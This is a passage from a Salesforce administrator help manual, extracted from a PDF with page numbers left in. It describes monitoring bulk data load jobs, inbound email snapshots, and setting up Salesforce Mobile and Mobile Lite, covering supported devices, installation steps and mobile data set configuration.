the same number of records and they may be processed at different speeds.
Records
Processed
The number of records already processed. This number increases as more batches are processed.
Start Time
Status
The current state of processing for the job. The valid values are:
Open: The job has been created, and batches can be added to the job.
Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
Completed: All batches have been processed.
Aborted: The job has been aborted.
Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.
The Completed Jobs list contains the following columns, shown in alphabetical order. Completed jobs are removed from the
list seven days after completion.
Column
Description
End Time
Job ID
Object
The object type for the data being processed. All data in a job must be of a single object type.
Operation
The processing operation for all the batches in the job. The valid values are:
delete
insert
query
upsert
update
hardDelete
935
Monitoring
Column
Description
Records
Processed
The number of records already processed. This number increases as more batches are processed.
Start Time
Status
The current state of processing for the job. The valid values are:
Open: The job has been created, and batches can be added to the job.
Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
Completed: All batches have been processed.
Aborted: The job has been aborted.
Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.
See Also:
Viewing Bulk Data Load Job Details
Developer's Guide: Force.com Bulk API Developer's Guide
You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
To view the details of a bulk data load job:
1. Click Your Name > Setup > Monitoring > Bulk Data Load Jobs.
2. Click a Job ID link for a job.
The job detail page contains the following fields, shown in alphabetical order:
936
Monitoring
Field
Description
Apex
Processing
Time (ms)
The number of milliseconds taken to process triggers and other processes related to the job data. This is
the sum of the equivalent times in all batches in the job. This doesn't include the time used for processing
asynchronous and batch Apex operations. If there are no triggers, the value is 0.
API Active
Processing
Time (ms)
The number of milliseconds taken to actively process the job and includes the time tracked in the Apex
Processing Time (ms) field, but doesn't include the time the job waited in the queue to be processed
or the time required for serialization and deserialization. This is the sum of the equivalent times in all
batches in the job.
API Version
Completed
Batches
The number of batches that have been completed for this job.
Concurrency
Mode
The concurrency mode for processing batches. The valid values are:
parallel: Batches are processed in parallel mode. This is the default value.
serial: Batches are processed in serial mode.
Content Type The content type for the job. The valid values are:
End Time
External ID
Field
Failed
Batches
Job ID
In Progress
Batches
Object
The object type for the data being processed. All data in a job must be of a single object type.
Operations
The processing operation for all the batches in the job. The valid values are:
delete
insert
query
upsert
update
hardDelete
Progress
The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
937
Monitoring
Field
Description
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.
Queued
Batches
Records
Failed
The number of records that were not processed successfully in this job.
Records
Processed
The number of records processed at the time the request was sent. This number increases as more batches
are processed.
Retries
The number of times that Salesforce attempted to save the results of an operation. The repeated attempts
are due to a problem, such as a lock contention.
Start Time
Status
The current state of processing for the job. The valid values are:
Open: The job has been created, and batches can be added to the job.
Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
Completed: All batches have been processed.
Aborted: The job has been aborted.
Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.
Total
Processing
Time (ms)
The number of milliseconds taken to process the job. This is the sum of the total processing times for all
batches in the job.
The job detail page includes a related list of all the batches for the job. The related list provides View Request and View
Response links for each batch. If the batch is a CSV file, the links return the request or response in CSV format. If the batch
is an XML file, the links return the request or response in XML format. These links are available for batches created in API
version 19.0 and later.
The batch related list contains the following fields, shown in alphabetical order:
Field
Description
Apex
Processing
Time (ms)
The number of milliseconds taken to process triggers and other processes related to the batch data. If
there are no triggers, the value is 0. This doesn't include the time used for processing asynchronous and
batch Apex operations.
API Active
Processing
Time (ms)
The number of milliseconds taken to actively process the batch, and includes Apex processing time. This
doesn't include the time the batch waited in the queue to be processed or the time required for serialization
and deserialization.
938
Monitoring
Field
Description
Batch ID
The ID of the batch. May be globally unique, but does not have to be.
End Time
The date and time in the UTC time zone that processing ended. This is only valid when the state is
Completed.
Records
Failed
The number of records that were not processed successfully in this batch.
Records
Processed
The number of records processed in this batch at the time the request was sent. This number increases as
more batches are processed.
Retry Count
The number of times that Salesforce attempted to save the results of an operation. The repeated attempts
are due to a problem, such as lock contention or a batch taking too long to process.
Start Time
The date and time in the UTC time zone when the batch was created. This is not the time processing
began, but the time the batch was added to the job.
State
Message
Contains the reasons for failure if the batch didn't complete successfully.
Status
Total
Processing
Time (ms)
The number of milliseconds taken to process the batch. This excludes the time the batch waited in the
queue to be processed.
View Request Click the link for a batch to see the request.
View Result
See Also:
Monitoring Bulk Data Load Jobs
Developer's Guide: Force.com Bulk API Developer's Guide
939
Monitoring
Salesforce Knowledge users can schedule articles to be published or archived on a specific date. Use the automated-process
actions queue to view these pending actions and cancel them if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Automated Process Actions.
2. Click Search to view all pending actions for any article, or set the filter criteria and click Search to view only the pending
actions that match the criteria. The filter options are:
Process Definition
The process that is triggering the action. This value is always KBWorkflow.
Object
The object that triggered the pending action. This value is always Knowledge Article.
Scheduled Date
The date the pending actions are scheduled to occur.
Create Date
The date the article that triggered the pending action was created.
Created By
The user who created the article that triggered the pending action.
Record Name
The name of the article that triggered the pending action.
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2961.
To cancel pending actions:
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce cancels the pending action.
See Also:
Salesforce Knowledge Overview
Salesforce Knowledge Terminology
Publishing Articles and Translations
940
Monitoring
Take a snapshot of inbound email messages so you can more easily troubleshoot inbound email errors.
Inbound email snapshots capture a copy of inbound email messages, helping you diagnose issues with email services such as
Email to Salesforce, Email-to-Case, and Apex email services. Request a snapshot by specifying criteria for the emails To and
From addresses, and when an inbound message meets that criteria, the snapshot records a single copy that you can view and
download. The email itself is processed normally without alteration. Snapshots contain the:
Senders address
Inbound email service address
Date and time of the snapshot
Full message contents, including headers and attachments
To access inbound email snapshots, click Your Name > Setup > Monitoring > Email Snapshots.
To request an inbound email snapshot, enter criteria for the To address (required) and From address (optional). Then
click Request Snapshot.
The requested snapshot is added to the list of Pending and Completed Snapshots. As soon as an inbound message meets
your specified criteria, we take a snapshot and complete the request.
To view a completed snapshot, you can:
Option
Description
Click Show Details to see when the snapshot was taken, the senders address, and the
inbound email service address. Click Hide Details to collapse the details section.
Click Download then either open the email as a .txt file or save it to your computer.
You can have a maximum combined total of 25 pending and completed snapshots. Delete some to free up space for new
snapshots. You can delete any pending or completed snapshot, even if someone else originally requested it.
Deleted snapshots are permanently deleted. Theyre not moved to the Recycle Bin.
When specifying criteria for the To address, keep these tips in mind.
The criteria apply to any of the addresses specified in an emails To, CC, or BCC fields (not only the To field).
Inbound email service addresses always end in salesforce.com.
You may want to look up the addresses your organization uses. This table summarizes where to find them.
Type of inbound email address
Every user can click Your Name > Setup > Email > My
Email to Salesforce to view the unique address assigned
941
Salesforce Mobile
Email routing addresses for Email-to-Case or On-Demand Click Your Name > Setup > Customize > Cases >
Email-to-Case
Email-to-Case to open the Email-to-Case settings page.
View the Routing Addresses section.
Your organizations email service addresses
Click Your Name > Setup > Develop > Email Services,
then the name of an email service.
You can use an asterisk (*) wildcard in both the local-part of the email address (the part before the @ symbol) and in the
domain-part (the part after the @ symbol). Spaces, commas, and semicolons arent valid characters. Salesforce email
addresses are case-insensitive. Each address field can contain a maximum of 255 characters.
You can click Request Snapshot multiple times if you want to request more than one snapshot with identical criteria.
If you believe a snapshot should have completed but it still shows Pending status, try refreshing the page.
Snapshots dont expire. Requested snapshots can remain in Pending status indefinitely if no inbound emails match the
specified criteria. Completed snapshots persist until you delete them.
See Also:
Enabling Email to Salesforce
Setting Up Email-to-Case or On-Demand Email-to-Case
Defining Email Service Addresses
SALESFORCE MOBILE
Salesforce Mobile Overview
Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions
Use Salesforce Mobile to help your mobile teams succeed by keeping them in touch with the latest data, whenever and wherever
they need it, directly from mobile devices such as a BlackBerry and iPhone. With Salesforce Mobile, field professionals are
prompted to log information directly in Salesforce or Force.com AppExchange apps immediately after important customer
calls, emails, and appointments, so critical information is logged in near real time.
Salesforce Mobile is a Salesforce feature that enables users to access their Salesforce data from mobile devices running the
mobile client application. The Salesforce Mobile client application exchanges data with Salesforce over wireless carrier networks,
and stores a local copy of the users data in its own database on the mobile device. Users can edit local copies of their Salesforce
records when a wireless connection is unavailable, and transmit those changes when a wireless connection becomes available.
942
Salesforce Mobile
To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on
their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
After you add users to a mobile configuration, send them a mass email with a link to install the correct mobile client application
on their mobile devices. After installing the client application, users can use the client interface to easily register their devices
with Salesforce. Administrators can view information about registered devices and manage mobile users.
A separate Salesforce Mobile license is required for each user who uses a mobile device to access Salesforce. For organizations
using Unlimited and Developer Editions, salesforce.com provides one mobile license for each Salesforce license. Organizations
using Professional or Enterprise Editions must purchase mobile licenses separately. To allocate Salesforce Mobile licenses to
users within your organization, select the Mobile User checkbox when editing a user's personal information.
For Professional, Enterprise, Unlimited, or Developer Edition users without mobile licenses, Salesforce offers Mobile Lite, a
free, restricted version of Salesforce Mobile.
Note: The iPhone and BlackBerry mobile client applications are available in English, Japanese, French, German, and
Spanish. Contact salesforce.com to enable Salesforce Mobile for your organization.
See Also:
Salesforce Mobile Implementation Guide
Salesforce Mobile User Guide for BlackBerry
Tip Sheet: Salesforce Mobile for BlackBerry
Salesforce Mobile User Guide for Windows Mobile
Tip Sheet: Salesforce Mobile for Windows Mobile
Salesforce Mobile User Guide for iPhone
Mobile Lite is a free, restricted version of Salesforce Mobile that is available to any Salesforce user who doesn't have a mobile
license.
Mobile Lite users can view, create, edit, and delete accounts, assets, contacts, leads, opportunities, events, tasks, cases, and
solutions. They also have access to their dashboards.
You can enable Mobile Lite for your organization by editing your mobile settings. The mobile settings also let you control
whether Mobile Lite users have access to all available CRM tabs, or just to dashboards.
Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent
users from accessing Salesforce from a mobile device.
Mobile Lite doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite:
943
Salesforce Mobile
Mobile Lite users are automatically assigned to the default mobile configuration when they activate their Salesforce account
from a supported mobile device. Mobile configurations determine the data sent to each mobile user. Administrators can't view
or edit the default mobile configuration.
Note: Mobile Lite is not supported for partner portal users.
See Also:
Salesforce Mobile Overview
Managing Mobile Devices
Chatter Mobile App Overview
The mobile application can run on BlackBerry, iPhone, and Windows Mobile operating systems, and it's supported by virtually
all wireless carriersif the device can establish a data connection to the Internet, it can typically run the mobile application.
Recently-released mobile devices may not be immediately supported because every device goes through the official certification
and quality assurance process. For the most current information on supported devices, contact salesforce.com. Below is a list
of supported devices per platform. Verify that your device is supported before installing the mobile application.
BlackBerry Smartphones
The mobile application can run on BlackBerry operating system versions 4.3 through 6.0. Upgrading to the latest version of
the BlackBerry operating system can improve device performance. At a minimum, 2 to 3 MB of free memory should be
available on the device. The mobile client application is supported on these BlackBerry smartphones:
944
Salesforce Mobile
Note:
Mobile users running versions 4.04.3 of the operating system can still download and install the mobile
application; however, the mobile server will detect the older operating system and send version 11.6 of the
mobile application, which was the last release that supported operating system versions 4.04.3. Users on version
11.6 of the mobile application can't use any of the new features included in the current release or future releases.
Although Salesforce supports the BlackBerry Storm, some mobile features are not optimized for the touch
screen interface. Mobile features were tested against version 4.7.0.87 of the BlackBerry operating system.
Starting in Winter '09, Salesforce no longer officially supports the BlackBerry 8700 series, although the mobile
application may continue to run on those device models.
BlackBerry 9500 (Storm) and 9800 (Torch) Series utilize the same Salesforce CRM Mobile software as other
BlackBerry devices, so some aspects of Salesforce CRM Mobile are not optimized for the touch interface.
AT&T Tilt
PPC6800 (HTC Mogul)
The mobile client application is supported on these Windows Mobile 6 Standard devices:
MOTO Q 9
BlackJack II
The mobile client application is supported on these Windows Mobile 6.1 Professional devices:
HTC Fuze
MC35/MC55/MC75 (Motorola)
The mobile application may work on Windows Mobile devices that are not listed here. To verify compatibility, contact your
account executive for a free trial before purchasing any mobile licenses.
iPhones and iOS
The mobile application requires the latest iPhone operating system available on iTunes. If the App Store icon is available on
the home screen, you can use the mobile application on your device. Be sure your device has at least 10 MB of available space
before installing the mobile client application. The mobile application is supported on these devices:
iPhone
iPhone 3G
iPhone 3GS
iPhone 4
iPod Touch
iPad with iPhone application in compatibility mode
iPad 2 with iPhone application in compatibility mode
945
Salesforce Mobile
Note: Use of the Salesforce Mobile for iPhone product is subject to certain limitations:
Third parties (including, but not limited to, Apple Inc. and your network connectivity provider) may at any time
restrict, interrupt or prevent use of Salesforce Mobile for the iPhone and iPod touch devices, or delete the Salesforce
Mobile software from iPhone or iPod touch devices, or require salesforce.com to do any of the foregoing, without
entitling the customer to any refund, credit or other compensation from such third party or salesforce.com.
Service level agreements do not apply to the Salesforce Mobile for iPhone product. Additional limitations are
described in the Order Form Supplement for Salesforce Mobile for iPhone, which users are required to accept
upon download or installation of the Salesforce Mobile for iPhone product.
Users can access their Salesforce data from an iPhone, BlackBerry, or Windows Mobile device in a mobile client application.
There are two versions of the mobile application:
Salesforce Mobile: Salesforce Mobile lets mobile users access data for custom objects and some standard objects.
Administrators can create mobile configurations that determine which records, fields, objects, and tabs are available in the
mobile application.
Mobile Lite: Mobile Lite is the free version of the mobile product, and it doesn't include all of the functionality offered
in Salesforce Mobile. Mobile Lite supports fewer standard objects, doesn't provide support for custom objects, and doesn't
allow administrators to customize or create mobile configurations.
For organizations using Unlimited and Developer Editions, Salesforce provides one mobile license for each Salesforce license.
You can allocate mobile licenses using the Mobile User checkbox on the user's record. The Mobile User checkbox is
enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce Mobile on their
mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users.
Mobile Lite users don't need a mobile license to use the product; they can download Mobile Lite for free and activate their
Salesforce account. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile
Lite to prevent users from accessing Salesforce from a mobile device.
To disable Mobile Lite:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Settings.
2. Click Edit.
3. Deselect Enable Mobile Lite.
946
Salesforce Mobile
4. Click Save.
See Also:
Salesforce Mobile Overview
Mobile Lite Overview
You can install the Salesforce Mobile and Mobile Lite applications on any supported iPhone, BlackBerry smartphone, or
Windows Mobile device.
iPhone Installation
Salesforce Mobile is available for download from Apple's App Store. To use the App Store, your iPhone or iPod touch must
be connected to the network. You also need an iTunes Store account to download applications. If you don't already have an
iTunes Store account, open iTunes on your computer and select Store > Account to set one up.
To download Salesforce Mobile from the App Store:
1.
2.
3.
4.
5.
6.
From the Home screen of your iPhone or iPod touch, select the App Store icon.
Select Search.
Select the Search field to open the keyboard. Type salesforce.
Select Salesforce Mobile or Mobile Lite in the list of search results.
Select Salesforce Mobile or Mobile Lite to view information about the application.
Select Free, and then tap Install.
Note: It doesn't cost money to download the application from the App Store. Enterprise, Professional, Unlimited,
and Developer Edition users with mobile licenses can run Salesforce Mobile, the full version of the mobile
application. Users without a mobile license can run Mobile Lite, the free, restricted version of the mobile application.
7. Enter your iTunes Store account and password and select OK.
8. The first time you launch the mobile application on your device, you must activate your Salesforce account by logging in
and downloading data. Verify that your phone is connected to a network.
9. Select the Salesforce icon on the Home screen.
10. Select I Accept.
11. On the activation screen, enter your Salesforce username and password.
12. Select Activate.
Caution: If the application closes or the device locks during the activation process, the iPhone operating system
pauses the download process, but it will resume the next time you open the app.
947
Salesforce Mobile
Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.
BlackBerry Installation
Salesforce Mobile is available for download from BlackBerry App World. You need an App World account to download apps
on your BlackBerry, but you can create an account from your device if you don't already have one. To install the mobile app
from BlackBerry App World:
1. Select the BlackBerry App World icon.
If the icon is not available on your device, you might need to download BlackBerry App World. App World can't run on
all BlackBerry smartphones, so be sure to review Research in Motion's system requirements before trying to install BlackBerry
App World on your device.
2. Select the Search icon.
3. Enter salesforce in the Search field.
4. In the search results, select Salesforce Mobile orMobile Lite.
5. Click Download.
6. After the installation completes, select OK.
7. When prompted whether to permit the app to access the phone, select Allow.
8. When prompted whether to permit the application to access tp.mobile.salesforce.com, select Yes.
9. Close BlackBerry App World.
10. Select the app icon, which resides on the home page of your device or in the Applications folder. On newer phones, the
icon may be in the Downloads folder.
11. Read the license agreement and select I Accept.
12. Enter your Salesforce username and password.
Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox
is selected by default. To protect your password, you can deselect the option.
13. Select Activate.
After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last
a few minutes. Future updates to the data occur automatically.
Note: Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to
remotely deliver Salesforce Mobile to users. For more information about Application Push, see the topic titled
BlackBerry Enterprise Server Application Push in the Salesforce Mobile Implementation Guide.
BlackBerry users can also install Salesforce Mobile over-the-air directly from Salesforce.com if they are unable to
download the app from the BlackBerry App World.
Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.
948
Salesforce Mobile
Note: The installation process for Windows Mobile requires that you use Internet Explorer as the browser.
Review your personal setup to find out if your user account has been assigned a mobile license. If the Mobile User checkbox
is selected but the Mobile Configuration field is blank, you can activate Salesforce Mobile using the default mobile
configuration.
Verify that your device is supported and can run the mobile client application.
Install the client application.
See Also:
Salesforce Mobile Overview
949
Salesforce Mobile
The BlackBerry App World is the preferred place for downloading the Salesforce Mobile app because users are automatically
notified as upgrades become available. However, some BlackBerry administrators restrict users from downloading and using
the BlackBerry App World on their devices. BlackBerry users can install Salesforce Mobile over-the-air directly from
Salesforce.com if they are unable to access BlackBerry App World.
To download Salesforce Mobile over-the-air:
1. Point your mobile browser to mobile.salesforce.com/bb.
2. Highlight the Download the application link and select Get Link from the menu.
3. Select Download. If prompted to replace an older version of the client application, select Yes.
Note: The minimum BlackBerry operating system requirement for the mobile application is 4.3. If you're running
versions 4.04.3 of the operating system, you can still download and install the mobile application; however, the
mobile server will detect the older operating system and send version 11.6 of the mobile application, which was
the last release that supported operating system versions 4.04.3. You can't use any of the new features included
in the current release or future releases until you upgrade to the most recent BlackBerry operating system for your
phone.
4. Select Reboot to restart your device.
5. When prompted to allow an HTTP connection, select the tp.mobile.salesforce.com checkbox. Scroll down and
select Allow this connection.
6. Select the Salesforce Mobile icon, which resides on the home page of your device or in the Applications folder. On newer
phones, the icon may be in the Downloads folder.
7. Read the license agreement and select I Accept.
8. Enter your Salesforce username and password.
Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox
is selected by default. To protect your password, you can deselect the option.
9. Select Activate.
After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last
a few minutes. Future updates to the data automatically occur behind the scenes.
950
Salesforce Mobile
To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on
their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
Administrators should note that a default mobile configuration is provided for Professional, Enterprise, Unlimited, and
Developer Edition organizations. Administrators cannot view or edit the default configuration.
To manage your Salesforce Mobile configurations, click Your Name > Setup > Mobile Administration > Salesforce Mobile
> Configurations.
951
Salesforce Mobile
Note: After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining
how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to
manage your organization's mobile devices.
See Also:
Salesforce Mobile Overview
Sample Data Sets
Salesforce Mobile Implementation Guide
Creating Mobile Links
Sending Emails to Mobile Users
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Erasing Mobile Data
Implementation Tips
Building Lean Data Sets
Keep the data sets in your mobile configurations as small as possible. Not only do lean data sets greatly improve the
application's performance, but they also make the application easier to usepushing massive amounts of data to the device
might seem like a good idea, but the important records tend to get lost among the ones that aren't relevant to users'
day-to-day activities. Small data sets are powerful because the mobile application synchronizes with Salesforce every 20
minutes, so the data is constantly refreshed with new and updated records. Even if your mobile configurations don't account
for every possible record your users might need, they can search for records that aren't automatically synchronized to their
devices.
To build small data sets:
Nest the objects in the data set tree. For example, add contacts as a child data set of the account object so that the data
set includes contacts related to the mobilized accounts instead of all the user's contacts.
Avoid setting the record ownership filter to All Records unless your organization uses a private sharing model. It's
unlikely that users need to see all of an object's records on their devices. Instead of mobilizing all opportunity records,
for example, mobilize just the opportunities owned by the user or the user's sales team.
Use filters that synchronize the most relevant records. For example, even if you limit the opportunities on the device
to records owned by the user, you could further prune the data set by mobilizing only opportunities closing this month.
Set a record limit to prevent the data set from getting too large. Generally, a single data set should generate no more
than 2,500 records.
Another way to build lean data sets is to mobilize the Salesforce recent items list, add the data sets, and set the record
ownership filters in your data sets to None (Search Only). The user's data set is populated with records recently accessed
in Salesforce, and those records in turn synchronize additional data based on the data set hierarchy. For example, let's say
you create a data set with the account object at the root level and add the contact, task, and event objects as child data sets.
When the mobile application synchronizes an account from the Salesforce recent items list, it also synchronizes the contacts,
tasks, and events related to that account.
If you're not sure which fields to use as filters for your data sets or mobile views, consider using the Last Activity Date
field. For example, set up a filter that synchronizes contacts with an activity logged this week or this month. The Last
952
Salesforce Mobile
Activity Date field is a better indicator of a record's relevance than the Last Modified Date fieldoften the main detail
of a record remains unchanged even though users frequently log related tasks and events.
Mobilizing Records Users Need
Before mobilizing a custom object, make sure the object's functionality is compatible with the mobile application. The
mobile application does not support s-controls, mashups, merge fields, image fields, or custom links.
To obtain a relevant set of activities, mobilize the task and event objects at the root level of the data set hierarchy and nest
them under parent objects, like contacts, accounts, and opportunities. Adding tasks and events at multiple levels ensures
that users will see their personal activities and activities related to the records on their devices. Avoid mobilizing too much
activity history or too many tasks and events not owned by the user. Generally, there are more task and event records in
an organization than any other type of record, so it's easy to bloat data sets with too many activities.
If your sales representatives frequently take orders in the field and need a comprehensive inventory list, add the product
object at the root level of the data set hierarchy. Nesting the opportunity product object below the opportunity object won't
mobilize all products.
If your users need to assign tasks to other users or change the record owner, mobilize the user object so that the names of
other users will be available on the device. Avoid mobilizing all user recordsinstead, set up filters based on the role or
profile.
Be sure that users assigned to a mobile configuration have field-level access to all the fields used in the configuration's filter
criteria. If a user doesn't have access to a field in a data set's filter criteria, the mobile application won't synchronize the
records for that data set or its child data sets.
You can sometimes use cross-object formula fields to work around limitations of the mobile application. For example, the
mobile application doesn't support campaigns, so you can't add the campaign object as a data set and add the opportunity
object as its child data set to get the related records. However, you can create a text formula field on the opportunity object
equal to the name of the parent campaign. The field needs to be visible, but it doesn't need to be included on your page
layouts. Then add the opportunity object to the data set and use the new formula field to filter opportunities related to a
specific campaign.
Although a mobile configuration might include an object at multiple levels in the data set hierarchy, users won't see duplicate
tabs in the mobile application. Only one Task tab appears on the device even if you mobilize the task object at the root
level and as a child data set of three objects.
Clean up your mobile page layouts by excluding fields from the objects in the mobile configuration. Less data is sent to
the device, and mobile users don't have to scroll through unnecessary fields.
If you mobilize the Dashboards tab, be sure to select any other tabs that should appear in the mobile application. Customizing
the tabs for a mobile configuration overrides the default tab setif you only mobilize the Dashboard tab, it will be the
only tab sent to the device.
The Windows Mobile application doesn't include a standard view for tasks that displays today's tasks. To provide this view
to Windows Mobile users, create a custom mobile view with these filter criteria:
Assigned To equals $User.ID
Due Date equals TODAY
To create a view that displays tasks due this week instead of the current day, substitute THIS WEEK for TODAY.
Due to the small size of mobile device screens, you can only select two display columns for mobile views. If you need three
columns of data, create a text formula field on the object that concatenates the three fields, then use the formula field in
the mobile view criteria.
When creating mobile views, you can filter based on the current user with the $User.ID global variable, but you can't enter
a user's name as a value in the filter criteria. To build a view based on users, create a text formula field on the appropriate
object, then use the formula field in the mobile view criteria. For example, to create a view that displays opportunities
953
Salesforce Mobile
owned by a sales team, create a text formula field on the opportunity object that contains the opportunity owner's user ID
or role, then create a view that filters on values in that field.
Testing and Deploying the Mobile Product
It's important to test mobile configurations to make sure they're synchronizing an acceptable amount of data. Test
configurations against active users who own a very large number of records. Typically, most data sets generate between
500 KB and 4 MB of data. If the data sets are over 4 MB, refine the filter criteria to limit the amount of data sent to the
device.
You can use the mobile application in the sandbox before deploying to your organization.
Use of the mobile application requires a data plan. The wireless data volume for the mobile application varies greatly
between customers and even users in the same organization. It's impossible to predict your organization's data usage, but
we can offer some guidelines:
The initial data download consists of records that match the criteria specified in the user's mobile configuration and
the metadata needed to support these records when disconnected. On average, the data sizes range from 500 KB4
MB.
After the initial download of data, incremental update requests are initiated by the client application every 20 minutes.
Each of these requests and the corresponding server response are approximately 200 bytes.
If any new data is downloaded to the client application as a result of the update request, only the new or changed values
are sent. For example, the application only downloads the new phone number in a contact record, not the entire contact
record. The amount of data transmitted differs for every organization and every user.
Generally, the volume of data transmitted by the mobile application is low compared to moderate email usage.
If you're deploying to BlackBerry users, evaluate your corporate network infrastructure before implementing the mobile
solution.
Best Practices
Use the zero-administration deployment option to experiment with the mobile application before you set up mobile
configurations. You'll create better blueprints for your mobile configurations if you've tried using the mobile application.
Talk to users about their favorite reports, views, and dashboards to get ideas for what filter criteria to use in mobile
configurations.
After setting up mobile configurations, deploy the mobile application on a limited basis with a select group of users. Adjust
the mobile setup based on their feedback, then deploy to all of your users.
Mobile configurations are sets of parameters that determine what data Salesforce transmits to users' mobile devices and which
users receive the data on their mobile devices. A default mobile configuration is provided for Professional, Enterprise, Unlimited,
and Developer Edition organizations. Administrators cannot view or edit the default mobile configuration.
The default mobile configuration serves two purposes:
954
Salesforce Mobile
It allows users with an assigned mobile license to install and activate Salesforce Mobile, even if their administrators have
not yet assigned them to a mobile configuration.
Caution: To prevent users from activating Salesforce on their mobile devices before you are ready to deploy mobile
in your organization, remove the mobile license from your user accounts by editing the user records and deselecting
the Mobile User checkbox.
It allows users without an assigned mobile license to install and activate Mobile Lite, which is the free version of Salesforce
Mobile. To prevent users from activating Mobile Lite on their mobile devices, disable Mobile Lite for your organization
by editing your mobile settings.
Accounts
Assets
Cases
Contacts
Dashboards
Events
Leads
Opportunities
Reports
Solutions
Tasks
The default configuration automatically synchronizes records the user recently accessed in Salesforce. Users can search for
records that are not automatically synchronized; once the user downloads a record, the record becomes a permanent part of
the data set. In addition to recently accessed records, the default configuration synchronizes activities closed in the past five
days and open activities due in the next 30 days.
Note:
Assets are not available as a tab in the mobile application. Assets display as a related list for accounts, cases, and
contacts.
Dashboards are not available in the Windows Mobile client application.
955
Salesforce Mobile
956
Salesforce Mobile
For each custom profile to which mobile users are assigned, edit the profile to include the API Enabled permission. Mobile
users need access to the API so that their wireless devices can communicate with Salesforce. The API Enabled permission
is enabled by default on standard profiles. For information on editing profiles, see User Profiles Overview on page 521.
957
Salesforce Mobile
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices
Chatter Mobile App Overview
958
Salesforce Mobile
Accessing Salesforce from a mobile device is very different than accessing it from your computer. This is because mobile devices
generally have less memory and screen size than computers, and they do not maintain a constant network connection. To
work with these limitations, each mobile configuration only transfers data sets, which are subsets of the records users access
in the Salesforce online user interface. Mobile devices store data sets in on-board databases, allowing users to access their most
important records and work offline when no network connection is available. Salesforce automatically synchronizes the on-board
databases when the mobile device reestablishes a network connection.
Each data set can contain records related to a single object and is classified by the name of that object. For example, the
Accounts data set only includes account records.
Data sets can have child data sets, which are data sets that contain records associated with a top-level (parent) data set. For
example, if the first level of your hierarchy has an Accounts data set, you can add a Contacts child data set that includes all
contact records related to the account records. Child data sets appear as related lists on mobile devices.
A single mobile configuration can have multiple data sets for the same object and at different levels. For example, you can
have an Events parent data set and an Events child data set under Leads.
Tip: Review the sample data sets to see how you might define data sets for common groups of Salesforce users.
After creating a mobile configuration, you must define its data sets. To access the data sets for a mobile configuration:
1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the
mobile configuration you want to modify.
2. In the Data Sets related list, click Edit.
3. From the Data Sets page, you can:
As you define and modify the data sets, Salesforce automatically saves your changes.
4. Click Done when you are finished.
959
Salesforce Mobile
1. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set.
2. Click Add....
3. In the popup window, select the object for the records you want the data set to include. Salesforce lets you create parent
data sets for all custom objects and the following standard objects:
Accounts
Assets
Attachments
Cases
Contacts
Content
Events
Leads
Notes
Opportunities
Price Books
Products
Solutions
Tasks
Users
Note:
Although attachments are available as a data set, they're only supported in Salesforce Mobile for Windows
Mobile. Salesforce Mobile for iPhone and BlackBerry don't currently support attachments.
The Windows Mobile application does not currently support solutions.
Salesforce Mobile supports default field values only for picklists and multiselect picklists. Default field values
for other types of fields, such as checkboxes and numeric fields, do not appear in Salesforce Mobile.
When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This
includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object.
For example, assume you created an account field called Primary Contact with a lookup relationship to the contact object.
If you add Account as a top-level data set in a mobile configuration, you see two sets of contacts when you add Contact
below Account:
Contact: Represents the standard relationship between the account and contact objects.
Contact (Referenced by Account): Represents any object that is the parent in a lookup or master-detail relationship
for the selected object. In this case, the contact object is referenced by the Primary Contact field on the account object.
Because Salesforce distinguishes between these two types of relationships, you could, for example, mobilize just the contacts
referenced by a custom account field without sending any child contact records to the device.
